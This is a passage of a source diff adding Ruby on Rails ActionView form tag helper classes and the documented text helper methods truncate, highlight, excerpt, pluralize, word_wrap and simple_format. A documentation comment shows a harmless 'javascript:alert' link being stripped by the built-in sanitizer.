+++ b/actionview/lib/action_view/helpers/tags/datetime_field.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class DatetimeField < TextField # :nodoc:
+        def render
+          options = @options.stringify_keys
+          options["value"] ||= format_date(value(object))
+          options["min"] = format_date(datetime_value(options["min"]))
+          options["max"] = format_date(datetime_value(options["max"]))
+          @options = options
+          super
+        end
+
+        private
+
+          def format_date(value)
+            raise NotImplementedError
+          end
+
+          def datetime_value(value)
+            if value.is_a? String
+              DateTime.parse(value) rescue nil
+            else
+              value
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/datetime_local_field.rb b/actionview/lib/action_view/helpers/tags/datetime_local_field.rb
new file mode 100644
index 0000000000..d8f8fd00d1
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/datetime_local_field.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class DatetimeLocalField < DatetimeField # :nodoc:
+        class << self
+          def field_type
+            @field_type ||= "datetime-local"
+          end
+        end
+
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%Y-%m-%dT%T")
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/datetime_select.rb b/actionview/lib/action_view/helpers/tags/datetime_select.rb
new file mode 100644
index 0000000000..dc5570931d
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/datetime_select.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class DatetimeSelect < DateSelect # :nodoc:
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/email_field.rb b/actionview/lib/action_view/helpers/tags/email_field.rb
new file mode 100644
index 0000000000..0c3b9224fa
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/email_field.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class EmailField < TextField # :nodoc:
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/file_field.rb b/actionview/lib/action_view/helpers/tags/file_field.rb
new file mode 100644
index 0000000000..0b1d9bb778
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/file_field.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class FileField < TextField # :nodoc:
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb b/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb
new file mode 100644
index 0000000000..971db8e85d
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/grouped_collection_select.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class GroupedCollectionSelect < Base # :nodoc:
+        def initialize(object_name, method_name, template_object, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
+          @collection          = collection
+          @group_method        = group_method
+          @group_label_method  = group_label_method
+          @option_key_method   = option_key_method
+          @option_value_method = option_value_method
+          @html_options        = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          option_tags_options = {
+            selected: @options.fetch(:selected) { value(@object) },
+            disabled: @options[:disabled]
+          }
+
+          select_content_tag(
+            option_groups_from_collection_for_select(@collection, @group_method, @group_label_method, @option_key_method, @option_value_method, option_tags_options), @options, @html_options
+          )
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/hidden_field.rb b/actionview/lib/action_view/helpers/tags/hidden_field.rb
new file mode 100644
index 0000000000..e014bd3aef
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/hidden_field.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class HiddenField < TextField # :nodoc:
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/label.rb b/actionview/lib/action_view/helpers/tags/label.rb
new file mode 100644
index 0000000000..56b48bbd62
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/label.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class Label < Base # :nodoc:
+        class LabelBuilder # :nodoc:
+          attr_reader :object
+
+          def initialize(template_object, object_name, method_name, object, tag_value)
+            @template_object = template_object
+            @object_name = object_name
+            @method_name = method_name
+            @object = object
+            @tag_value = tag_value
+          end
+
+          def translation
+            method_and_value = @tag_value.present? ? "#{@method_name}.#{@tag_value}" : @method_name
+
+            content ||= Translator
+              .new(object, @object_name, method_and_value, scope: "helpers.label")
+              .translate
+            content ||= @method_name.humanize
+
+            content
+          end
+        end
+
+        def initialize(object_name, method_name, template_object, content_or_options = nil, options = nil)
+          options ||= {}
+
+          content_is_options = content_or_options.is_a?(Hash)
+          if content_is_options
+            options.merge! content_or_options
+            @content = nil
+          else
+            @content = content_or_options
+          end
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render(&block)
+          options = @options.stringify_keys
+          tag_value = options.delete("value")
+          name_and_id = options.dup
+
+          if name_and_id["for"]
+            name_and_id["id"] = name_and_id["for"]
+          else
+            name_and_id.delete("id")
+          end
+
+          add_default_name_and_id_for_value(tag_value, name_and_id)
+          options.delete("index")
+          options.delete("namespace")
+          options["for"] = name_and_id["id"] unless options.key?("for")
+
+          builder = LabelBuilder.new(@template_object, @object_name, @method_name, @object, tag_value)
+
+          content = if block_given?
+            @template_object.capture(builder, &block)
+          elsif @content.present?
+            @content.to_s
+          else
+            render_component(builder)
+          end
+
+          label_tag(name_and_id["id"], content, options)
+        end
+
+        private
+
+          def render_component(builder)
+            builder.translation
+          end
+
+          def skip_default_ids?
+            false # The id is used as the `for` attribute.
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/month_field.rb b/actionview/lib/action_view/helpers/tags/month_field.rb
new file mode 100644
index 0000000000..93b2bf11f0
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/month_field.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class MonthField < DatetimeField # :nodoc:
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%Y-%m")
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/number_field.rb b/actionview/lib/action_view/helpers/tags/number_field.rb
new file mode 100644
index 0000000000..41c696423c
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/number_field.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class NumberField < TextField # :nodoc:
+        def render
+          options = @options.stringify_keys
+
+          if range = options.delete("in") || options.delete("within")
+            options.update("min" => range.min, "max" => range.max)
+          end
+
+          @options = options
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/password_field.rb b/actionview/lib/action_view/helpers/tags/password_field.rb
new file mode 100644
index 0000000000..9f10f5236e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/password_field.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class PasswordField < TextField # :nodoc:
+        def render
+          @options = { value: nil }.merge!(@options)
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/placeholderable.rb b/actionview/lib/action_view/helpers/tags/placeholderable.rb
new file mode 100644
index 0000000000..e9f7601e57
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/placeholderable.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      module Placeholderable # :nodoc:
+        def initialize(*)
+          super
+
+          if tag_value = @options[:placeholder]
+            placeholder = tag_value if tag_value.is_a?(String)
+            method_and_value = tag_value.is_a?(TrueClass) ? @method_name : "#{@method_name}.#{tag_value}"
+
+            placeholder ||= Tags::Translator
+              .new(object, @object_name, method_and_value, scope: "helpers.placeholder")
+              .translate
+            placeholder ||= @method_name.humanize
+            @options[:placeholder] = placeholder
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/radio_button.rb b/actionview/lib/action_view/helpers/tags/radio_button.rb
new file mode 100644
index 0000000000..9e4f1c9e4b
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/radio_button.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require_relative "checkable"
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class RadioButton < Base # :nodoc:
+        include Checkable
+
+        def initialize(object_name, method_name, template_object, tag_value, options)
+          @tag_value = tag_value
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          options = @options.stringify_keys
+          options["type"]     = "radio"
+          options["value"]    = @tag_value
+          options["checked"] = "checked" if input_checked?(object, options)
+          add_default_name_and_id_for_value(@tag_value, options)
+          tag("input", options)
+        end
+
+        private
+
+          def checked?(value)
+            value.to_s == @tag_value.to_s
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/range_field.rb b/actionview/lib/action_view/helpers/tags/range_field.rb
new file mode 100644
index 0000000000..66d1bbac5b
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/range_field.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class RangeField < NumberField # :nodoc:
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/search_field.rb b/actionview/lib/action_view/helpers/tags/search_field.rb
new file mode 100644
index 0000000000..f209348904
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/search_field.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class SearchField < TextField # :nodoc:
+        def render
+          options = @options.stringify_keys
+
+          if options["autosave"]
+            if options["autosave"] == true
+              options["autosave"] = request.host.split(".").reverse.join(".")
+            end
+            options["results"] ||= 10
+          end
+
+          if options["onsearch"]
+            options["incremental"] = true unless options.has_key?("incremental")
+          end
+
+          @options = options
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/select.rb b/actionview/lib/action_view/helpers/tags/select.rb
new file mode 100644
index 0000000000..0de4139101
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/select.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class Select < Base # :nodoc:
+        def initialize(object_name, method_name, template_object, choices, options, html_options)
+          @choices = block_given? ? template_object.capture { yield || "" } : choices
+          @choices = @choices.to_a if @choices.is_a?(Range)
+
+          @html_options = html_options.except(:skip_default_ids, :allow_method_names_outside_object)
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          option_tags_options = {
+            selected: @options.fetch(:selected) { value(@object) },
+            disabled: @options[:disabled]
+          }
+
+          option_tags = if grouped_choices?
+            grouped_options_for_select(@choices, option_tags_options)
+          else
+            options_for_select(@choices, option_tags_options)
+          end
+
+          select_content_tag(option_tags, @options, @html_options)
+        end
+
+        private
+
+          # Grouped choices look like this:
+          #
+          #   [nil, []]
+          #   { nil => [] }
+          def grouped_choices?
+            !@choices.blank? && @choices.first.respond_to?(:last) && Array === @choices.first.last
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/tel_field.rb b/actionview/lib/action_view/helpers/tags/tel_field.rb
new file mode 100644
index 0000000000..ab1caaac48
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/tel_field.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class TelField < TextField # :nodoc:
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/text_area.rb b/actionview/lib/action_view/helpers/tags/text_area.rb
new file mode 100644
index 0000000000..d8460a4be4
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/text_area.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require_relative "placeholderable"
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class TextArea < Base # :nodoc:
+        include Placeholderable
+
+        def render
+          options = @options.stringify_keys
+          add_default_name_and_id(options)
+
+          if size = options.delete("size")
+            options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+          end
+
+          content_tag("textarea", options.delete("value") { value_before_type_cast(object) }, options)
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/text_field.rb b/actionview/lib/action_view/helpers/tags/text_field.rb
new file mode 100644
index 0000000000..e4c5a49069
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/text_field.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require_relative "placeholderable"
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class TextField < Base # :nodoc:
+        include Placeholderable
+
+        def render
+          options = @options.stringify_keys
+          options["size"] = options["maxlength"] unless options.key?("size")
+          options["type"] ||= field_type
+          options["value"] = options.fetch("value") { value_before_type_cast(object) } unless field_type == "file"
+          add_default_name_and_id(options)
+          tag("input", options)
+        end
+
+        class << self
+          def field_type
+            @field_type ||= name.split("::").last.sub("Field", "").downcase
+          end
+        end
+
+        private
+
+          def field_type
+            self.class.field_type
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/time_field.rb b/actionview/lib/action_view/helpers/tags/time_field.rb
new file mode 100644
index 0000000000..9384a83a3e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/time_field.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class TimeField < DatetimeField # :nodoc:
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%T.%L")
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/time_select.rb b/actionview/lib/action_view/helpers/tags/time_select.rb
new file mode 100644
index 0000000000..ba3dcb64e3
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/time_select.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class TimeSelect < DateSelect # :nodoc:
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/time_zone_select.rb b/actionview/lib/action_view/helpers/tags/time_zone_select.rb
new file mode 100644
index 0000000000..3b6bcacce0
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/time_zone_select.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class TimeZoneSelect < Base # :nodoc:
+        def initialize(object_name, method_name, template_object, priority_zones, options, html_options)
+          @priority_zones = priority_zones
+          @html_options   = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          select_content_tag(
+            time_zone_options_for_select(value(@object) || @options[:default], @priority_zones, @options[:model] || ActiveSupport::TimeZone), @options, @html_options
+          )
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/translator.rb b/actionview/lib/action_view/helpers/tags/translator.rb
new file mode 100644
index 0000000000..fcf96d2c9c
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/translator.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class Translator # :nodoc:
+        def initialize(object, object_name, method_and_value, scope:)
+          @object_name = object_name.gsub(/\[(.*)_attributes\]\[\d+\]/, '.\1')
+          @method_and_value = method_and_value
+          @scope = scope
+          @model = object.respond_to?(:to_model) ? object.to_model : nil
+        end
+
+        def translate
+          translated_attribute = I18n.t("#{object_name}.#{method_and_value}", default: i18n_default, scope: scope).presence
+          translated_attribute || human_attribute_name
+        end
+
+        # TODO Change this to private once we've dropped Ruby 2.2 support.
+        # Workaround for Ruby 2.2 "private attribute?" warning.
+        protected
+
+          attr_reader :object_name, :method_and_value, :scope, :model
+
+        private
+
+          def i18n_default
+            if model
+              key = model.model_name.i18n_key
+              ["#{key}.#{method_and_value}".to_sym, ""]
+            else
+              ""
+            end
+          end
+
+          def human_attribute_name
+            if model && model.class.respond_to?(:human_attribute_name)
+              model.class.human_attribute_name(method_and_value)
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/url_field.rb b/actionview/lib/action_view/helpers/tags/url_field.rb
new file mode 100644
index 0000000000..395fec67e7
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/url_field.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class UrlField < TextField # :nodoc:
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/week_field.rb b/actionview/lib/action_view/helpers/tags/week_field.rb
new file mode 100644
index 0000000000..572535d1d6
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/week_field.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class WeekField < DatetimeField # :nodoc:
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%Y-W%V")
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/text_helper.rb b/actionview/lib/action_view/helpers/text_helper.rb
new file mode 100644
index 0000000000..3044a2c0ef
--- /dev/null
+++ b/actionview/lib/action_view/helpers/text_helper.rb
@@ -0,0 +1,486 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/filters"
+require "active_support/core_ext/array/extract_options"
+
+module ActionView
+  # = Action View Text Helpers
+  module Helpers #:nodoc:
+    # The TextHelper module provides a set of methods for filtering, formatting
+    # and transforming strings, which can reduce the amount of inline Ruby code in
+    # your views. These helper methods extend Action View making them callable
+    # within your template files.
+    #
+    # ==== Sanitization
+    #
+    # Most text helpers by default sanitize the given content, but do not escape it.
+    # This means HTML tags will appear in the page but all malicious code will be removed.
+    # Let's look at some examples using the +simple_format+ method:
+    #
+    #   simple_format('<a href="http://example.com/">Example</a>')
+    #   # => "<p><a href=\"http://example.com/\">Example</a></p>"
+    #
+    #   simple_format('<a href="javascript:alert(\'no!\')">Example</a>')
+    #   # => "<p><a>Example</a></p>"
+    #
+    # If you want to escape all content, you should invoke the +h+ method before
+    # calling the text helper.
+    #
+    #   simple_format h('<a href="http://example.com/">Example</a>')
+    #   # => "<p>&lt;a href=\"http://example.com/\"&gt;Example&lt;/a&gt;</p>"
+    module TextHelper
+      extend ActiveSupport::Concern
+
+      include SanitizeHelper
+      include TagHelper
+      include OutputSafetyHelper
+
+      # The preferred method of outputting text in your views is to use the
+      # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
+      # do not operate as expected in an eRuby code block. If you absolutely must
+      # output text within a non-output code block (i.e., <% %>), you can use the concat method.
+      #
+      #   <%
+      #       concat "hello"
+      #       # is the equivalent of <%= "hello" %>
+      #
+      #       if logged_in
+      #         concat "Logged in!"
+      #       else
+      #         concat link_to('login', action: :login)
+      #       end
+      #       # will either display "Logged in!" or a login link
+      #   %>
+      def concat(string)
+        output_buffer << string
+      end
+
+      def safe_concat(string)
+        output_buffer.respond_to?(:safe_concat) ? output_buffer.safe_concat(string) : concat(string)
+      end
+
+      # Truncates a given +text+ after a given <tt>:length</tt> if +text+ is longer than <tt>:length</tt>
+      # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...")
+      # for a total length not exceeding <tt>:length</tt>.
+      #
+      # Pass a <tt>:separator</tt> to truncate +text+ at a natural break.
+      #
+      # Pass a block if you want to show extra content when the text is truncated.
+      #
+      # The result is marked as HTML-safe, but it is escaped by default, unless <tt>:escape</tt> is
+      # +false+. Care should be taken if +text+ contains HTML tags or entities, because truncation
+      # may produce invalid HTML (such as unbalanced or incomplete tags).
+      #
+      #   truncate("Once upon a time in a world far far away")
+      #   # => "Once upon a time in a world..."
+      #
+      #   truncate("Once upon a time in a world far far away", length: 17)
+      #   # => "Once upon a ti..."
+      #
+      #   truncate("Once upon a time in a world far far away", length: 17, separator: ' ')
+      #   # => "Once upon a..."
+      #
+      #   truncate("And they found that many people were sleeping better.", length: 25, omission: '... (continued)')
+      #   # => "And they f... (continued)"
+      #
+      #   truncate("<p>Once upon a time in a world far far away</p>")
+      #   # => "&lt;p&gt;Once upon a time in a wo..."
+      #
+      #   truncate("<p>Once upon a time in a world far far away</p>", escape: false)
+      #   # => "<p>Once upon a time in a wo..."
+      #
+      #   truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
+      #   # => "Once upon a time in a wo...<a href="#">Continue</a>"
+      def truncate(text, options = {}, &block)
+        if text
+          length  = options.fetch(:length, 30)
+
+          content = text.truncate(length, options)
+          content = options[:escape] == false ? content.html_safe : ERB::Util.html_escape(content)
+          content << capture(&block) if block_given? && text.length > length
+          content
+        end
+      end
+
+      # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
+      # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
+      # as a single-quoted string with <tt>\1</tt> where the phrase is to be inserted (defaults to
+      # '<mark>\1</mark>') or passing a block that receives each matched term. By default +text+
+      # is sanitized to prevent possible XSS attacks. If the input is trustworthy, passing false
+      # for <tt>:sanitize</tt> will turn sanitizing off.
+      #
+      #   highlight('You searched for: rails', 'rails')
+      #   # => You searched for: <mark>rails</mark>
+      #
+      #   highlight('You searched for: rails', /for|rails/)
+      #   # => You searched <mark>for</mark>: <mark>rails</mark>
+      #
+      #   highlight('You searched for: ruby, rails, dhh', 'actionpack')
+      #   # => You searched for: ruby, rails, dhh
+      #
+      #   highlight('You searched for: rails', ['for', 'rails'], highlighter: '<em>\1</em>')
+      #   # => You searched <em>for</em>: <em>rails</em>
+      #
+      #   highlight('You searched for: rails', 'rails', highlighter: '<a href="search?q=\1">\1</a>')
+      #   # => You searched for: <a href="search?q=rails">rails</a>
+      #
+      #   highlight('You searched for: rails', 'rails') { |match| link_to(search_path(q: match, match)) }
+      #   # => You searched for: <a href="search?q=rails">rails</a>
+      #
+      #   highlight('<a href="javascript:alert(\'no!\')">ruby</a> on rails', 'rails', sanitize: false)
+      #   # => "<a>ruby</a> on <mark>rails</mark>"
+      def highlight(text, phrases, options = {})
+        text = sanitize(text) if options.fetch(:sanitize, true)
+
+        if text.blank? || phrases.blank?
+          text || ""
+        else
+          match = Array(phrases).map do |p|
+            Regexp === p ? p.to_s : Regexp.escape(p)
+          end.join("|")
+
+          if block_given?
+            text.gsub(/(#{match})(?![^<]*?>)/i) { |found| yield found }
+          else
+            highlighter = options.fetch(:highlighter, '<mark>\1</mark>')
+            text.gsub(/(#{match})(?![^<]*?>)/i, highlighter)
+          end
+        end.html_safe
+      end
+
+      # Extracts an excerpt from +text+ that matches the first instance of +phrase+.
+      # The <tt>:radius</tt> option expands the excerpt on each side of the first occurrence of +phrase+ by the number of characters
+      # defined in <tt>:radius</tt> (which defaults to 100). If the excerpt radius overflows the beginning or end of the +text+,
+      # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. Use the
+      # <tt>:separator</tt> option to choose the delimitation. The resulting string will be stripped in any case. If the +phrase+
+      # isn't found, +nil+ is returned.
+      #
+      #   excerpt('This is an example', 'an', radius: 5)
+      #   # => ...s is an exam...
+      #
+      #   excerpt('This is an example', 'is', radius: 5)
+      #   # => This is a...
+      #
+      #   excerpt('This is an example', 'is')
+      #   # => This is an example
+      #
+      #   excerpt('This next thing is an example', 'ex', radius: 2)
+      #   # => ...next...
+      #
+      #   excerpt('This is also an example', 'an', radius: 8, omission: '<chop> ')
+      #   # => <chop> is also an example
+      #
+      #   excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
+      #   # => ...a very beautiful...
+      def excerpt(text, phrase, options = {})
+        return unless text && phrase
+
+        separator = options.fetch(:separator, nil) || ""
+        case phrase
+        when Regexp
+          regex = phrase
+        else
+          regex = /#{Regexp.escape(phrase)}/i
+        end
+
+        return unless matches = text.match(regex)
+        phrase = matches[0]
+
+        unless separator.empty?
+          text.split(separator).each do |value|
+            if value.match(regex)
+              phrase = value
+              break
+            end
+          end
+        end
+
+        first_part, second_part = text.split(phrase, 2)
+
+        prefix, first_part   = cut_excerpt_part(:first, first_part, separator, options)
+        postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
+
+        affix = [first_part, separator, phrase, separator, second_part].join.strip
+        [prefix, affix, postfix].join
+      end
+
+      # Attempts to pluralize the +singular+ word unless +count+ is 1. If
+      # +plural+ is supplied, it will use that when count is > 1, otherwise
+      # it will use the Inflector to determine the plural form for the given locale,
+      # which defaults to I18n.locale
+      #
+      # The word will be pluralized using rules defined for the locale
+      # (you must define your own inflection rules for languages other than English).
+      # See ActiveSupport::Inflector.pluralize
+      #
+      #   pluralize(1, 'person')
+      #   # => 1 person
+      #
+      #   pluralize(2, 'person')
+      #   # => 2 people
+      #
+      #   pluralize(3, 'person', plural: 'users')
+      #   # => 3 users
+      #
+      #   pluralize(0, 'person')
+      #   # => 0 people
+      #
+      #   pluralize(2, 'Person', locale: :de)
+      #   # => 2 Personen
+      def pluralize(count, singular, plural_arg = nil, plural: plural_arg, locale: I18n.locale)
+        word = if (count == 1 || count =~ /^1(\.0+)?$/)
+          singular
+        else
+          plural || singular.pluralize(locale)
+        end
+
+        "#{count || 0} #{word}"
+      end
+
+      # Wraps the +text+ into lines no longer than +line_width+ width. This method
+      # breaks on the first whitespace character that does not exceed +line_width+
+      # (which is 80 by default).
+      #
+      #   word_wrap('Once upon a time')
+      #   # => Once upon a time
+      #
+      #   word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
+      #   # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\na successor to the throne turned out to be more trouble than anyone could have\nimagined...
+      #
+      #   word_wrap('Once upon a time', line_width: 8)
+      #   # => Once\nupon a\ntime
+      #
+      #   word_wrap('Once upon a time', line_width: 1)
+      #   # => Once\nupon\na\ntime
+      #
+      #   You can also specify a custom +break_sequence+ ("\n" by default)
+      #
+      #   word_wrap('Once upon a time', line_width: 1, break_sequence: "\r\n")
+      #   # => Once\r\nupon\r\na\r\ntime
+      def word_wrap(text, line_width: 80, break_sequence: "\n")
+        text.split("\n").collect! do |line|
+          line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1#{break_sequence}").strip : line
+        end * break_sequence
+      end
+
+      # Returns +text+ transformed into HTML using simple formatting rules.
+      # Two or more consecutive newlines(<tt>\n\n</tt> or <tt>\r\n\r\n</tt>) are
+      # considered a paragraph and wrapped in <tt><p></tt> tags. One newline
+      # (<tt>\n</tt> or <tt>\r\n</tt>) is considered a linebreak and a
+      # <tt><br /></tt> tag is appended. This method does not remove the
+      # newlines from the +text+.
+      #
+      # You can pass any HTML attributes into <tt>html_options</tt>. These
+      # will be added to all created paragraphs.
+      #
+      # ==== Options
+      # * <tt>:sanitize</tt> - If +false+, does not sanitize +text+.
+      # * <tt>:wrapper_tag</tt> - String representing the wrapper tag, defaults to <tt>"p"</tt>
+      #
+      # ==== Examples
+      #   my_text = "Here is some basic text...\n...with a line break."
+      #
+      #   simple_format(my_text)
+      #   # => "<p>Here is some basic text...\n<br />...with a line break.</p>"
+      #
+      #   simple_format(my_text, {}, wrapper_tag: "div")
+      #   # => "<div>Here is some basic text...\n<br />...with a line break.</div>"
+      #
+      #   more_text = "We want to put a paragraph...\n\n...right there."
+      #
+      #   simple_format(more_text)
+      #   # => "<p>We want to put a paragraph...</p>\n\n<p>...right there.</p>"
+      #
+      #   simple_format("Look ma! A class!", class: 'description')
+      #   # => "<p class='description'>Look ma! A class!</p>"
+      #
+      #   simple_format("<blink>Unblinkable.</blink>")
+      #   # => "<p>Unblinkable.</p>"
+      #
+      #   simple_format("<blink>Blinkable!</blink> It's true.", {}, sanitize: false)
+      #   # => "<p><blink>Blinkable!</blink> It's true.</p>"
+      def simple_format(text, html_options = {}, options = {})
+        wrapper_tag = options.fetch(:wrapper_tag, :p)
+
+        text = sanitize(text) if options.fetch(:sanitize, true)
+        paragraphs = split_paragraphs(text)
+
+        if paragraphs.empty?
+          content_tag(wrapper_tag, nil, html_options)
+        else
+          paragraphs.map! { |paragraph|
+            content_tag(wrapper_tag, raw(paragraph), html_options)
+          }.join("\n\n").html_safe
+        end
+      end
+
+      # Creates a Cycle object whose _to_s_ method cycles through elements of an
+      # array every time it is called. This can be used for example, to alternate
+      # classes for table rows. You can use named cycles to allow nesting in loops.
+      # Passing a Hash as the last parameter with a <tt>:name</tt> key will create a
+      # named cycle. The default name for a cycle without a +:name+ key is
+      # <tt>"default"</tt>. You can manually reset a cycle by calling reset_cycle
+      # and passing the name of the cycle. The current cycle string can be obtained
+      # anytime using the current_cycle method.
+      #
+      #   # Alternate CSS classes for even and odd numbers...
+      #   @items = [1,2,3,4]
+      #   <table>
+      #   <% @items.each do |item| %>
+      #     <tr class="<%= cycle("odd", "even") -%>">
+      #       <td><%= item %></td>
+      #     </tr>
+      #   <% end %>
+      #   </table>
+      #
+      #
+      #   # Cycle CSS classes for rows, and text colors for values within each row
+      #   @items = x = [{first: 'Robert', middle: 'Daniel', last: 'James'},
